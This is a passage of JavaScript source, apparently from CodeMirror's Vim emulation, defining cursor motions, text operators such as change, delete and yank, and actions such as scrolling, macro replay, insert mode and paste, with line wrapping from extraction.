findFirstNonWhiteSpaceCharacter(cm.getLine(line)));
      },
      moveToBottomLine: function(cm, _head, motionArgs) {
        var line = getUserVisibleLines(cm).bottom - motionArgs.repeat +1;
        return Pos(line,
findFirstNonWhiteSpaceCharacter(cm.getLine(line)));
      },
      expandToLine: function(_cm, head, motionArgs) {
        // Expands forward to end of line, and then to next line if repeat
is
        // >1. Does not handle backward motion!
        var cur = head;
        return Pos(cur.line + motionArgs.repeat - 1, Infinity);
      },
      findNext: function(cm, _head, motionArgs) {
        var state = getSearchState(cm);
        var query = state.getQuery();
        if (!query) {
          return;
        }
        var prev = !motionArgs.forward;
        // If search is initiated with ? instead of /, negate direction.
        prev = (state.isReversed()) ? !prev : prev;
        highlightSearchMatches(cm, query);
        return findNext(cm, prev/** prev */, query, motionArgs.repeat);
      },
      goToMark: function(cm, _head, motionArgs, vim) {
        var pos = getMarkPos(cm, vim, motionArgs.selectedCharacter);
        if (pos) {
          return motionArgs.linewise ? { line: pos.line, ch:
findFirstNonWhiteSpaceCharacter(cm.getLine(pos.line)) } : pos;
        }
        return null;
      },
      moveToOtherHighlightedEnd: function(cm, _head, motionArgs, vim) {
        if (vim.visualBlock && motionArgs.sameLine) {
          var sel = vim.sel;
          return [
            clipCursorToContent(cm, Pos(sel.anchor.line, sel.head.ch)),
            clipCursorToContent(cm, Pos(sel.head.line, sel.anchor.ch))
          ];
        } else {
          return ([vim.sel.head, vim.sel.anchor]);
        }
      },
      jumpToMark: function(cm, head, motionArgs, vim) {
        var best = head;
        for (var i = 0; i < motionArgs.repeat; i++) {
          var cursor = best;
          for (var key in vim.marks) {
            if (!isLowerCase(key)) {
              continue;
            }
            var mark = vim.marks[key].find();
            var isWrongDirection = (motionArgs.forward) ?
              cursorIsBefore(mark, cursor) : cursorIsBefore(cursor, mark);

            if (isWrongDirection) {
              continue;
            }
            if (motionArgs.linewise && (mark.line == cursor.line))
{
              continue;
            }

            var equal = cursorEqual(cursor, best);
            var between = (motionArgs.forward) ?
              cursorIsBetween(cursor, mark, best) :
              cursorIsBetween(best, mark, cursor);

            if (equal || between) {
              best = mark;
            }
          }
        }

        if (motionArgs.linewise) {
          // Vim places the cursor on the first non-whitespace character of
          // the line if there is one, else it places the cursor at the end
          // of the line, regardless of whether a mark was found.
          best = Pos(best.line,
findFirstNonWhiteSpaceCharacter(cm.getLine(best.line)));
        }
        return best;
      },
      moveByCharacters: function(_cm, head, motionArgs) {
        var cur = head;
        var repeat = motionArgs.repeat;
        var ch = motionArgs.forward ? cur.ch + repeat : cur.ch - repeat;
        return Pos(cur.line, ch);
      },
      moveByLines: function(cm, head, motionArgs, vim) {
        var cur = head;
        var endCh = cur.ch;
        // Depending what our last motion was, we may want to do different
        // things. If our last motion was moving vertically, we want to
        // preserve the HPos from our last horizontal move.  If our last
motion
        // was going to the end of a line, moving vertically we should go
to
        // the end of the line, etc.
        switch (vim.lastMotion) {
          case this.moveByLines:
          case this.moveByDisplayLines:
          case this.moveByScroll:
          case this.moveToColumn:
          case this.moveToEol:
            endCh = vim.lastHPos;
            break;
          default:
            vim.lastHPos = endCh;
        }
        var repeat = motionArgs.repeat+(motionArgs.repeatOffset||0);
        var line = motionArgs.forward ? cur.line + repeat : cur.line -
repeat;
        var first = cm.firstLine();
        var last = cm.lastLine();
        var posV = cm.findPosV(cur, (motionArgs.forward ? repeat :
-repeat), 'line', vim.lastHSPos);
        var hasMarkedText = motionArgs.forward ? posV.line > line :
posV.line < line;
        if (hasMarkedText) {
          line = posV.line;
          endCh = posV.ch;
        }
        // Vim go to line begin or line end when cursor at first/last line
and
        // move to previous/next line is triggered.
        if (line < first && cur.line == first){
          return this.moveToStartOfLine(cm, head, motionArgs, vim);
        }else if (line > last && cur.line == last){
            return this.moveToEol(cm, head, motionArgs, vim, true);
        }
        if (motionArgs.toFirstChar){
          endCh=findFirstNonWhiteSpaceCharacter(cm.getLine(line));
          vim.lastHPos = endCh;
        }
        vim.lastHSPos = cm.charCoords(Pos(line,
endCh),'div').left;
        return Pos(line, endCh);
      },
      moveByDisplayLines: function(cm, head, motionArgs, vim) {
        var cur = head;
        switch (vim.lastMotion) {
          case this.moveByDisplayLines:
          case this.moveByScroll:
          case this.moveByLines:
          case this.moveToColumn:
          case this.moveToEol:
            break;
          default:
            vim.lastHSPos = cm.charCoords(cur,'div').left;
        }
        var repeat = motionArgs.repeat;
        var res=cm.findPosV(cur,(motionArgs.forward ? repeat :
-repeat),'line',vim.lastHSPos);
        if (res.hitSide) {
          if (motionArgs.forward) {
            var lastCharCoords = cm.charCoords(res, 'div');
            var goalCoords = { top: lastCharCoords.top + 8, left:
vim.lastHSPos };
            var res = cm.coordsChar(goalCoords, 'div');
          } else {
            var resCoords = cm.charCoords(Pos(cm.firstLine(), 0),
'div');
            resCoords.left = vim.lastHSPos;
            res = cm.coordsChar(resCoords, 'div');
          }
        }
        vim.lastHPos = res.ch;
        return res;
      },
      moveByPage: function(cm, head, motionArgs) {
        // CodeMirror only exposes functions that move the cursor page
down, so
        // doing this bad hack to move the cursor and move it back.
evalInput
        // will move the cursor to where it should be in the end.
        var curStart = head;
        var repeat = motionArgs.repeat;
        return cm.findPosV(curStart, (motionArgs.forward ? repeat :
-repeat), 'page');
      },
      moveByParagraph: function(cm, head, motionArgs) {
        var dir = motionArgs.forward ? 1 : -1;
        return findParagraph(cm, head, motionArgs.repeat, dir);
      },
      moveBySentence: function(cm, head, motionArgs) {
        var dir = motionArgs.forward ? 1 : -1;
        return findSentence(cm, head, motionArgs.repeat, dir);
      },
      moveByScroll: function(cm, head, motionArgs, vim) {
        var scrollbox = cm.getScrollInfo();
        var curEnd = null;
        var repeat = motionArgs.repeat;
        if (!repeat) {
          repeat = scrollbox.clientHeight / (2 * cm.defaultTextHeight());
        }
        var orig = cm.charCoords(head, 'local');
        motionArgs.repeat = repeat;
        var curEnd = motions.moveByDisplayLines(cm, head, motionArgs, vim);
        if (!curEnd) {
          return null;
        }
        var dest = cm.charCoords(curEnd, 'local');
        cm.scrollTo(null, scrollbox.top + dest.top - orig.top);
        return curEnd;
      },
      moveByWords: function(cm, head, motionArgs) {
        return moveToWord(cm, head, motionArgs.repeat,
!!motionArgs.forward,
            !!motionArgs.wordEnd, !!motionArgs.bigWord);
      },
      moveTillCharacter: function(cm, _head, motionArgs) {
        var repeat = motionArgs.repeat;
        var curEnd = moveToCharacter(cm, repeat, motionArgs.forward,
            motionArgs.selectedCharacter);
        var increment = motionArgs.forward ? -1 : 1;
        recordLastCharacterSearch(increment, motionArgs);
        if (!curEnd) return null;
        curEnd.ch += increment;
        return curEnd;
      },
      moveToCharacter: function(cm, head, motionArgs) {
        var repeat = motionArgs.repeat;
        recordLastCharacterSearch(0, motionArgs);
        return moveToCharacter(cm, repeat, motionArgs.forward,
            motionArgs.selectedCharacter) || head;
      },
      moveToSymbol: function(cm, head, motionArgs) {
        var repeat = motionArgs.repeat;
        return findSymbol(cm, repeat, motionArgs.forward,
            motionArgs.selectedCharacter) || head;
      },
      moveToColumn: function(cm, head, motionArgs, vim) {
        var repeat = motionArgs.repeat;
        // repeat is equivalent to which column we want to move to!
        vim.lastHPos = repeat - 1;
        vim.lastHSPos = cm.charCoords(head,'div').left;
        return moveToColumn(cm, repeat);
      },
      moveToEol: function(cm, head, motionArgs, vim, keepHPos) {
        var cur = head;
        var retval= Pos(cur.line + motionArgs.repeat - 1, Infinity);
        var end=cm.clipPos(retval);
        end.ch--;
        if (!keepHPos) {
          vim.lastHPos = Infinity;
          vim.lastHSPos = cm.charCoords(end,'div').left;
        }
        return retval;
      },
      moveToFirstNonWhiteSpaceCharacter: function(cm, head) {
        // Go to the start of the line where the text begins, or the end
for
        // whitespace-only lines
        var cursor = head;
        return Pos(cursor.line,
                  
findFirstNonWhiteSpaceCharacter(cm.getLine(cursor.line)));
      },
      moveToMatchedSymbol: function(cm, head) {
        var cursor = head;
        var line = cursor.line;
        var ch = cursor.ch;
        var lineText = cm.getLine(line);
        var symbol;
        for (; ch < lineText.length; ch++) {
          symbol = lineText.charAt(ch);
          if (symbol && isMatchableSymbol(symbol)) {
            var style = cm.getTokenTypeAt(Pos(line, ch + 1));
            if (style !== "string" && style !==
"comment") {
              break;
            }
          }
        }
        if (ch < lineText.length) {
          // Only include angle brackets in analysis if they are being
matched.
          var re = (ch === '<' || ch === '>') ?
/[(){}[\]<>]/ : /[(){}[\]]/;
          var matched = cm.findMatchingBracket(Pos(line, ch),
{bracketRegex: re});
          return matched.to;
        } else {
          return cursor;
        }
      },
      moveToStartOfLine: function(_cm, head) {
        return Pos(head.line, 0);
      },
      moveToLineOrEdgeOfDocument: function(cm, _head, motionArgs) {
        var lineNum = motionArgs.forward ? cm.lastLine() : cm.firstLine();
        if (motionArgs.repeatIsExplicit) {
          lineNum = motionArgs.repeat -
cm.getOption('firstLineNumber');
        }
        return Pos(lineNum,
                   findFirstNonWhiteSpaceCharacter(cm.getLine(lineNum)));
      },
      textObjectManipulation: function(cm, head, motionArgs, vim) {
        // TODO: lots of possible exceptions that can be thrown here. Try
da(
        //     outside of a () block.
        var mirroredPairs = {'(': ')', ')':
'(',
                             '{': '}', '}':
'{',
                             '[': ']', ']':
'[',
                             '<': '>',
'>': '<'};
        var selfPaired = {'\'': true, '"':
true, '`': true};

        var character = motionArgs.selectedCharacter;
        // 'b' refers to  '()' block.
        // 'B' refers to  '{}' block.
        if (character == 'b') {
          character = '(';
        } else if (character == 'B') {
          character = '{';
        }

        // Inclusive is the difference between a and i
        // TODO: Instead of using the additional text object map to perform
text
        //     object operations, merge the map into the defaultKeyMap and
use
        //     motionArgs to define behavior. Define separate entries for
'aw',
        //     'iw', 'a[', 'i[', etc.
        var inclusive = !motionArgs.textObjectInner;

        var tmp;
        if (mirroredPairs[character]) {
          tmp = selectCompanionObject(cm, head, character, inclusive);
        } else if (selfPaired[character]) {
          tmp = findBeginningAndEnd(cm, head, character, inclusive);
        } else if (character === 'W') {
          tmp = expandWordUnderCursor(cm, inclusive, true /** forward */,
                                                     true /** bigWord */);
        } else if (character === 'w') {
          tmp = expandWordUnderCursor(cm, inclusive, true /** forward */,
                                                     false /** bigWord */);
        } else if (character === 'p') {
          tmp = findParagraph(cm, head, motionArgs.repeat, 0, inclusive);
          motionArgs.linewise = true;
          if (vim.visualMode) {
            if (!vim.visualLine) { vim.visualLine = true; }
          } else {
            var operatorArgs = vim.inputState.operatorArgs;
            if (operatorArgs) { operatorArgs.linewise = true; }
            tmp.end.line--;
          }
        } else {
          // No text object defined for this, don't move.
          return null;
        }

        if (!cm.state.vim.visualMode) {
          return [tmp.start, tmp.end];
        } else {
          return expandSelection(cm, tmp.start, tmp.end);
        }
      },

      repeatLastCharacterSearch: function(cm, head, motionArgs) {
        var lastSearch = vimGlobalState.lastCharacterSearch;
        var repeat = motionArgs.repeat;
        var forward = motionArgs.forward === lastSearch.forward;
        var increment = (lastSearch.increment ? 1 : 0) * (forward ? -1 :
1);
        cm.moveH(-increment, 'char');
        motionArgs.inclusive = forward ? true : false;
        var curEnd = moveToCharacter(cm, repeat, forward,
lastSearch.selectedCharacter);
        if (!curEnd) {
          cm.moveH(increment, 'char');
          return head;
        }
        curEnd.ch += increment;
        return curEnd;
      }
    };

    function defineMotion(name, fn) {
      motions[name] = fn;
    }

    function fillArray(val, times) {
      var arr = [];
      for (var i = 0; i < times; i++) {
        arr.push(val);
      }
      return arr;
    }
    /**
     * An operator acts on a text selection. It receives the list of
selections
     * as input. The corresponding CodeMirror selection is guaranteed to
    * match the input selection.
     */
    var operators = {
      change: function(cm, args, ranges) {
        var finalHead, text;
        var vim = cm.state.vim;
        var anchor = ranges[0].anchor,
            head = ranges[0].head;
        if (!vim.visualMode) {
          text = cm.getRange(anchor, head);
          var lastState = vim.lastEditInputState || {};
          if (lastState.motion == "moveByWords" &&
!isWhiteSpaceString(text)) {
            // Exclude trailing whitespace if the range is not all
whitespace.
            var match = (/\s+$/).exec(text);
            if (match && lastState.motionArgs &&
lastState.motionArgs.forward) {
              head = offsetCursor(head, 0, - match[0].length);
              text = text.slice(0, - match[0].length);
            }
          }
          var prevLineEnd = new Pos(anchor.line - 1, Number.MAX_VALUE);
          var wasLastLine = cm.firstLine() == cm.lastLine();
          if (head.line > cm.lastLine() && args.linewise
&& !wasLastLine) {
            cm.replaceRange('', prevLineEnd, head);
          } else {
            cm.replaceRange('', anchor, head);
          }
          if (args.linewise) {
            // Push the next line back down, if there is a next line.
            if (!wasLastLine) {
              cm.setCursor(prevLineEnd);
              CodeMirror.commands.newlineAndIndent(cm);
            }
            // make sure cursor ends up at the end of the line.
            anchor.ch = Number.MAX_VALUE;
          }
          finalHead = anchor;
        } else if (args.fullLine) {
            head.ch = Number.MAX_VALUE;
            head.line--;
            cm.setSelection(anchor, head)
            text = cm.getSelection();
            cm.replaceSelection("");
            finalHead = anchor;
        } else {
          text = cm.getSelection();
          var replacement = fillArray('', ranges.length);
          cm.replaceSelections(replacement);
          finalHead = cursorMin(ranges[0].head, ranges[0].anchor);
        }
        vimGlobalState.registerController.pushText(
            args.registerName, 'change', text,
            args.linewise, ranges.length > 1);
        actions.enterInsertMode(cm, {head: finalHead}, cm.state.vim);
      },
      // delete is a javascript keyword.
      'delete': function(cm, args, ranges) {
        var finalHead, text;
        var vim = cm.state.vim;
        if (!vim.visualBlock) {
          var anchor = ranges[0].anchor,
              head = ranges[0].head;
          if (args.linewise &&
              head.line != cm.firstLine() &&
              anchor.line == cm.lastLine() &&
              anchor.line == head.line - 1) {
            // Special case for dd on last line (and first line).
            if (anchor.line == cm.firstLine()) {
              anchor.ch = 0;
            } else {
              anchor = Pos(anchor.line - 1, lineLength(cm, anchor.line -
1));
            }
          }
          text = cm.getRange(anchor, head);
          cm.replaceRange('', anchor, head);
          finalHead = anchor;
          if (args.linewise) {
            finalHead = motions.moveToFirstNonWhiteSpaceCharacter(cm,
anchor);
          }
        } else {
          text = cm.getSelection();
          var replacement = fillArray('', ranges.length);
          cm.replaceSelections(replacement);
          finalHead = ranges[0].anchor;
        }
        vimGlobalState.registerController.pushText(
            args.registerName, 'delete', text,
            args.linewise, vim.visualBlock);
        return clipCursorToContent(cm, finalHead);
      },
      indent: function(cm, args, ranges) {
        var vim = cm.state.vim;
        var startLine = ranges[0].anchor.line;
        var endLine = vim.visualBlock ?
          ranges[ranges.length - 1].anchor.line :
          ranges[0].head.line;
        // In visual mode, n> shifts the selection right n times,
instead of
        // shifting n lines right once.
        var repeat = (vim.visualMode) ? args.repeat : 1;
        if (args.linewise) {
          // The only way to delete a newline is to delete until the start
of
          // the next line, so in linewise mode evalInput will include the
next
          // line. We don't want this in indent, so we go back a line.
          endLine--;
        }
        for (var i = startLine; i <= endLine; i++) {
          for (var j = 0; j < repeat; j++) {
            cm.indentLine(i, args.indentRight);
          }
        }
        return motions.moveToFirstNonWhiteSpaceCharacter(cm,
ranges[0].anchor);
      },
      indentAuto: function(cm, _args, ranges) {
        cm.execCommand("indentAuto");
        return motions.moveToFirstNonWhiteSpaceCharacter(cm,
ranges[0].anchor);
      },
      changeCase: function(cm, args, ranges, oldAnchor, newHead) {
        var selections = cm.getSelections();
        var swapped = [];
        var toLower = args.toLower;
        for (var j = 0; j < selections.length; j++) {
          var toSwap = selections[j];
          var text = '';
          if (toLower === true) {
            text = toSwap.toLowerCase();
          } else if (toLower === false) {
            text = toSwap.toUpperCase();
          } else {
            for (var i = 0; i < toSwap.length; i++) {
              var character = toSwap.charAt(i);
              text += isUpperCase(character) ? character.toLowerCase() :
                  character.toUpperCase();
            }
          }
          swapped.push(text);
        }
        cm.replaceSelections(swapped);
        if (args.shouldMoveCursor){
          return newHead;
        } else if (!cm.state.vim.visualMode && args.linewise
&& ranges[0].anchor.line + 1 == ranges[0].head.line) {
          return motions.moveToFirstNonWhiteSpaceCharacter(cm, oldAnchor);
        } else if (args.linewise){
          return oldAnchor;
        } else {
          return cursorMin(ranges[0].anchor, ranges[0].head);
        }
      },
      yank: function(cm, args, ranges, oldAnchor) {
        var vim = cm.state.vim;
        var text = cm.getSelection();
        var endPos = vim.visualMode
          ? cursorMin(vim.sel.anchor, vim.sel.head, ranges[0].head,
ranges[0].anchor)
          : oldAnchor;
        vimGlobalState.registerController.pushText(
            args.registerName, 'yank',
            text, args.linewise, vim.visualBlock);
        return endPos;
      }
    };

    function defineOperator(name, fn) {
      operators[name] = fn;
    }

    var actions = {
      jumpListWalk: function(cm, actionArgs, vim) {
        if (vim.visualMode) {
          return;
        }
        var repeat = actionArgs.repeat;
        var forward = actionArgs.forward;
        var jumpList = vimGlobalState.jumpList;

        var mark = jumpList.move(cm, forward ? repeat : -repeat);
        var markPos = mark ? mark.find() : undefined;
        markPos = markPos ? markPos : cm.getCursor();
        cm.setCursor(markPos);
      },
      scroll: function(cm, actionArgs, vim) {
        if (vim.visualMode) {
          return;
        }
        var repeat = actionArgs.repeat || 1;
        var lineHeight = cm.defaultTextHeight();
        var top = cm.getScrollInfo().top;
        var delta = lineHeight * repeat;
        var newPos = actionArgs.forward ? top + delta : top - delta;
        var cursor = copyCursor(cm.getCursor());
        var cursorCoords = cm.charCoords(cursor, 'local');
        if (actionArgs.forward) {
          if (newPos > cursorCoords.top) {
             cursor.line += (newPos - cursorCoords.top) / lineHeight;
             cursor.line = Math.ceil(cursor.line);
             cm.setCursor(cursor);
             cursorCoords = cm.charCoords(cursor, 'local');
             cm.scrollTo(null, cursorCoords.top);
          } else {
             // Cursor stays within bounds.  Just reposition the scroll
window.
             cm.scrollTo(null, newPos);
          }
        } else {
          var newBottom = newPos + cm.getScrollInfo().clientHeight;
          if (newBottom < cursorCoords.bottom) {
             cursor.line -= (cursorCoords.bottom - newBottom) / lineHeight;
             cursor.line = Math.floor(cursor.line);
             cm.setCursor(cursor);
             cursorCoords = cm.charCoords(cursor, 'local');
             cm.scrollTo(
                 null, cursorCoords.bottom -
cm.getScrollInfo().clientHeight);
          } else {
             // Cursor stays within bounds.  Just reposition the scroll
window.
             cm.scrollTo(null, newPos);
          }
        }
      },
      scrollToCursor: function(cm, actionArgs) {
        var lineNum = cm.getCursor().line;
        var charCoords = cm.charCoords(Pos(lineNum, 0), 'local');
        var height = cm.getScrollInfo().clientHeight;
        var y = charCoords.top;
        var lineHeight = charCoords.bottom - y;
        switch (actionArgs.position) {
          case 'center': y = y - (height / 2) + lineHeight;
            break;
          case 'bottom': y = y - height + lineHeight;
            break;
        }
        cm.scrollTo(null, y);
      },
      replayMacro: function(cm, actionArgs, vim) {
        var registerName = actionArgs.selectedCharacter;
        var repeat = actionArgs.repeat;
        var macroModeState = vimGlobalState.macroModeState;
        if (registerName == '@') {
          registerName = macroModeState.latestRegister;
        } else {
          macroModeState.latestRegister = registerName;
        }
        while(repeat--){
          executeMacroRegister(cm, vim, macroModeState, registerName);
        }
      },
      enterMacroRecordMode: function(cm, actionArgs) {
        var macroModeState = vimGlobalState.macroModeState;
        var registerName = actionArgs.selectedCharacter;
        if
(vimGlobalState.registerController.isValidRegister(registerName)) {
          macroModeState.enterMacroRecordMode(cm, registerName);
        }
      },
      toggleOverwrite: function(cm) {
        if (!cm.state.overwrite) {
          cm.toggleOverwrite(true);
          cm.setOption('keyMap', 'vim-replace');
          CodeMirror.signal(cm, "vim-mode-change", {mode:
"replace"});
        } else {
          cm.toggleOverwrite(false);
          cm.setOption('keyMap', 'vim-insert');
          CodeMirror.signal(cm, "vim-mode-change", {mode:
"insert"});
        }
      },
      enterInsertMode: function(cm, actionArgs, vim) {
        if (cm.getOption('readOnly')) { return; }
        vim.insertMode = true;
        vim.insertModeRepeat = actionArgs && actionArgs.repeat ||
1;
        var insertAt = (actionArgs) ? actionArgs.insertAt : null;
        var sel = vim.sel;
        var head = actionArgs.head || cm.getCursor('head');
        var height = cm.listSelections().length;
        if (insertAt == 'eol') {
          head = Pos(head.line, lineLength(cm, head.line));
        } else if (insertAt == 'bol') {
          head = Pos(head.line, 0);
        } else if (insertAt == 'charAfter') {
          head = offsetCursor(head, 0, 1);
        } else if (insertAt == 'firstNonBlank') {
          head = motions.moveToFirstNonWhiteSpaceCharacter(cm, head);
        } else if (insertAt == 'startOfSelectedArea') {
          if (!vim.visualMode)
              return;
          if (!vim.visualBlock) {
            if (sel.head.line < sel.anchor.line) {
              head = sel.head;
            } else {
              head = Pos(sel.anchor.line, 0);
            }
          } else {
            head = Pos(
                Math.min(sel.head.line, sel.anchor.line),
                Math.min(sel.head.ch, sel.anchor.ch));
            height = Math.abs(sel.head.line - sel.anchor.line) + 1;
          }
        } else if (insertAt == 'endOfSelectedArea') {
            if (!vim.visualMode)
              return;
          if (!vim.visualBlock) {
            if (sel.head.line >= sel.anchor.line) {
              head = offsetCursor(sel.head, 0, 1);
            } else {
              head = Pos(sel.anchor.line, 0);
            }
          } else {
            head = Pos(
                Math.min(sel.head.line, sel.anchor.line),
                Math.max(sel.head.ch + 1, sel.anchor.ch));
            height = Math.abs(sel.head.line - sel.anchor.line) + 1;
          }
        } else if (insertAt == 'inplace') {
          if (vim.visualMode){
            return;
          }
        } else if (insertAt == 'lastEdit') {
          head = getLastEditPos(cm) || head;
        }
        cm.setOption('disableInput', false);
        if (actionArgs && actionArgs.replace) {
          // Handle Replace-mode as a special case of insert mode.
          cm.toggleOverwrite(true);
          cm.setOption('keyMap', 'vim-replace');
          CodeMirror.signal(cm, "vim-mode-change", {mode:
"replace"});
        } else {
          cm.toggleOverwrite(false);
          cm.setOption('keyMap', 'vim-insert');
          CodeMirror.signal(cm, "vim-mode-change", {mode:
"insert"});
        }
        if (!vimGlobalState.macroModeState.isPlaying) {
          // Only record if not replaying.
          cm.on('change', onChange);
          CodeMirror.on(cm.getInputField(), 'keydown',
onKeyEventTargetKeyDown);
        }
        if (vim.visualMode) {
          exitVisualMode(cm);
        }
        selectForInsert(cm, head, height);
      },
      toggleVisualMode: function(cm, actionArgs, vim) {
        var repeat = actionArgs.repeat;
        var anchor = cm.getCursor();
        var head;
        // TODO: The repeat should actually select number of
characters/lines
        //     equal to the repeat times the size of the previous visual
        //     operation.
        if (!vim.visualMode) {
          // Entering visual mode
          vim.visualMode = true;
          vim.visualLine = !!actionArgs.linewise;
          vim.visualBlock = !!actionArgs.blockwise;
          head = clipCursorToContent(
              cm, Pos(anchor.line, anchor.ch + repeat - 1));
          vim.sel = {
            anchor: anchor,
            head: head
          };
          CodeMirror.signal(cm, "vim-mode-change", {mode:
"visual", subMode: vim.visualLine ? "linewise" :
vim.visualBlock ? "blockwise" : ""});
          updateCmSelection(cm);
          updateMark(cm, vim, '<', cursorMin(anchor, head));
          updateMark(cm, vim, '>', cursorMax(anchor, head));
        } else if (vim.visualLine ^ actionArgs.linewise ||
            vim.visualBlock ^ actionArgs.blockwise) {
          // Toggling between modes
          vim.visualLine = !!actionArgs.linewise;
          vim.visualBlock = !!actionArgs.blockwise;
          CodeMirror.signal(cm, "vim-mode-change", {mode:
"visual", subMode: vim.visualLine ? "linewise" :
vim.visualBlock ? "blockwise" : ""});
          updateCmSelection(cm);
        } else {
          exitVisualMode(cm);
        }
      },
      reselectLastSelection: function(cm, _actionArgs, vim) {
        var lastSelection = vim.lastSelection;
        if (vim.visualMode) {
          updateLastSelection(cm, vim);
        }
        if (lastSelection) {
          var anchor = lastSelection.anchorMark.find();
          var head = lastSelection.headMark.find();
          if (!anchor || !head) {
            // If the marks have been destroyed due to edits, do nothing.
            return;
          }
          vim.sel = {
            anchor: anchor,
            head: head
          };
          vim.visualMode = true;
          vim.visualLine = lastSelection.visualLine;
          vim.visualBlock = lastSelection.visualBlock;
          updateCmSelection(cm);
          updateMark(cm, vim, '<', cursorMin(anchor, head));
          updateMark(cm, vim, '>', cursorMax(anchor, head));
          CodeMirror.signal(cm, 'vim-mode-change', {
            mode: 'visual',
            subMode: vim.visualLine ? 'linewise' :
                     vim.visualBlock ? 'blockwise' :
''});
        }
      },
      joinLines: function(cm, actionArgs, vim) {
        var curStart, curEnd;
        if (vim.visualMode) {
          curStart = cm.getCursor('anchor');
          curEnd = cm.getCursor('head');
          if (cursorIsBefore(curEnd, curStart)) {
            var tmp = curEnd;
            curEnd = curStart;
            curStart = tmp;
          }
          curEnd.ch = lineLength(cm, curEnd.line) - 1;
        } else {
          // Repeat is the number of lines to join. Minimum 2 lines.
          var repeat = Math.max(actionArgs.repeat, 2);
          curStart = cm.getCursor();
          curEnd = clipCursorToContent(cm, Pos(curStart.line + repeat - 1,
                                               Infinity));
        }
        var finalCh = 0;
        for (var i = curStart.line; i < curEnd.line; i++) {
          finalCh = lineLength(cm, curStart.line);
          var tmp = Pos(curStart.line + 1,
                        lineLength(cm, curStart.line + 1));
          var text = cm.getRange(curStart, tmp);
          text = actionArgs.keepSpaces
            ? text.replace(/\n\r?/g, '')
            : text.replace(/\n\s*/g, ' ');
          cm.replaceRange(text, curStart, tmp);
        }
        var curFinalPos = Pos(curStart.line, finalCh);
        if (vim.visualMode) {
          exitVisualMode(cm, false);
        }
        cm.setCursor(curFinalPos);
      },
      newLineAndEnterInsertMode: function(cm, actionArgs, vim) {
        vim.insertMode = true;
        var insertAt = copyCursor(cm.getCursor());
        if (insertAt.line === cm.firstLine() && !actionArgs.after)
{
          // Special case for inserting newline before start of document.
          cm.replaceRange('\n', Pos(cm.firstLine(), 0));
          cm.setCursor(cm.firstLine(), 0);
        } else {
          insertAt.line = (actionArgs.after) ? insertAt.line :
              insertAt.line - 1;
          insertAt.ch = lineLength(cm, insertAt.line);
          cm.setCursor(insertAt);
          var newlineFn =
CodeMirror.commands.newlineAndIndentContinueComment ||
              CodeMirror.commands.newlineAndIndent;
          newlineFn(cm);
        }
        this.enterInsertMode(cm, { repeat: actionArgs.repeat }, vim);
      },
      paste: function(cm, actionArgs, vim) {
        var cur = copyCursor(cm.getCursor());
        var register = vimGlobalState.registerController.getRegister(
            actionArgs.registerName);
        var text = register.toString();
        if (!text) {
          return;
        }
        if (actionArgs.matchIndent) {
          var tabSize = cm.getOption("tabSize");
          // length that considers tabs and tabSize
          var whitespaceLength = function(str) {
            var tabs = (str.split("\t").length - 1);
            var spaces = (str.split(" ").length - 1);
            return tabs * tabSize + spaces * 1;
          };
          var currentLine = cm.getLine(cm.getCursor().line);
          var indent = whitespaceLength(currentLine.match(/^\s*/)[0]);
          // chomp last newline b/c don't want it to match /^\s*/gm
          var chompedText = text.replace(/\n$/, '');
          var wasChomped = text !== chompedText;
          var firstIndent = whitespaceLength(text.match(/^\s*/)[0]);
          var text = chompedText.replace(/^\s*/gm, function(wspace) {
            var newIndent = indent + (whitespaceLength(wspace) -
firstIndent);
            if (newIndent < 0) {
              return "";
            }
            else if (cm.getOption("indentWithTabs")) {
              var quotient = Math.floor(newIndent / tabSize);
              return Array(quotient + 1).join('\t');
            }
            else {
              return Array(newIndent + 1).join(' ');
            }
          });
          text += wasChomped ? "\n" : "";
        }
        if (actionArgs.repeat > 1) {
          var text = Array(actionArgs.repeat + 1).join(text);
        }
        var linewise = register.linewise;
        var blockwise = register.blockwise;
        if (blockwise) {
          text = text.split('\n');
          if (linewise) {
              text.pop();
          }
          for (var i = 0; i < text.length; i++) {
            text[i] = (text[i] == '') ? ' ' : text[i];
          }
          cur.ch += actionArgs.after ? 1 : 0;
          cur.ch = Math.min(lineLength(cm, cur.line), cur.ch);
        } else if (linewise) {
          if(vim.visualMode) {
            text = vim.visualLine ? text.slice(0, -1) : '\n' +
text.slice(0, text.length - 1) + '\n';
          } else if (actionArgs.after) {
            // Move the newline at the end to the start instead, and paste
just
            // before the newline character of the line we are on right
now.
            text = '\n' + text.slice(0, text.length - 1);
            cur.ch = lineLength(cm, cur.line);
          } else {
            cur.ch = 0;
          }
        } else {
          cur.ch += actionArgs.after ? 1 : 0;
        }
        var curPosFinal;
        var idx;
        if (vim.visualMode) {
          //  save the pasted text for reselection if the need arises
          vim.lastPastedText = text;
          var lastSelectionCurEnd;
          var selectedArea = getSelectedAreaRange(cm, vim);
          var selectionStart = selectedArea[0];
          var selectionEnd = selectedArea[1];
          var selectedText = cm.getSelection();
          var selections = cm.listSelections();
          var emptyStrings = new
Array(selections.length).join('1').split('1');
          // save the curEnd marker before it get cleared due to
cm.replaceRange.
          if (vim.lastSelection) {
            lastSelectionCurEnd = vim.lastSelection.headMark.find();
          }
          // push the previously selected text to unnamed register
         
vimGlobalState.registerController.unnamedRegister.setText(selectedText);
          if (blockwise) {
            // first delete the selected text
            cm.replaceSelections(emptyStrings);
            // Set new selections as per the block length of the yanked
text
            selectionEnd = Pos(selectionStart.line + text.length-1,
selectionStart.ch);
            cm.setCursor(selectionStart);
            selectBlock(cm, selectionEnd);
            cm.replaceSelections(text);
            curPosFinal = selectionStart;
          } else if (vim.visualBlock) {
            cm.replaceSelections(emptyStrings);
            cm.setCursor(selectionStart);
            cm.replaceRange(text, selectionStart, selectionStart);
            curPosFinal = selectionStart;
          } else {
            cm.replaceRange(text, selectionStart, selectionEnd);
            curPosFinal = cm.posFromIndex(cm.indexFromPos(selectionStart) +
text.length - 1);
          }
          // restore the the curEnd marker
          if(lastSelectionCurEnd) {
            vim.lastSelection.headMark =
cm.setBookmark(lastSelectionCurEnd);
          }
          if (linewise) {
            curPosFinal.ch=0;
          }
        } else {
          if (blockwise) {
            cm.setCursor(cur);
            for (var i = 0; i < text.length; i++) {
              var line = cur.line+i;
              if (line > cm.lastLine()) {
                cm.replaceRange('\n',  Pos(line, 0));
              }
              var lastCh = lineLength(cm, line);
              if (lastCh < cur.ch) {
                extendLineToColumn(cm, line, cur.ch);
              }
            }
            cm.setCursor(cur);
            selectBlock(cm, Pos(cur.line + text.length-1, cur.ch));
            cm.replaceSelections(text);
            curPosFinal = cur;
          } else {
            cm.replaceRange(text, cur);
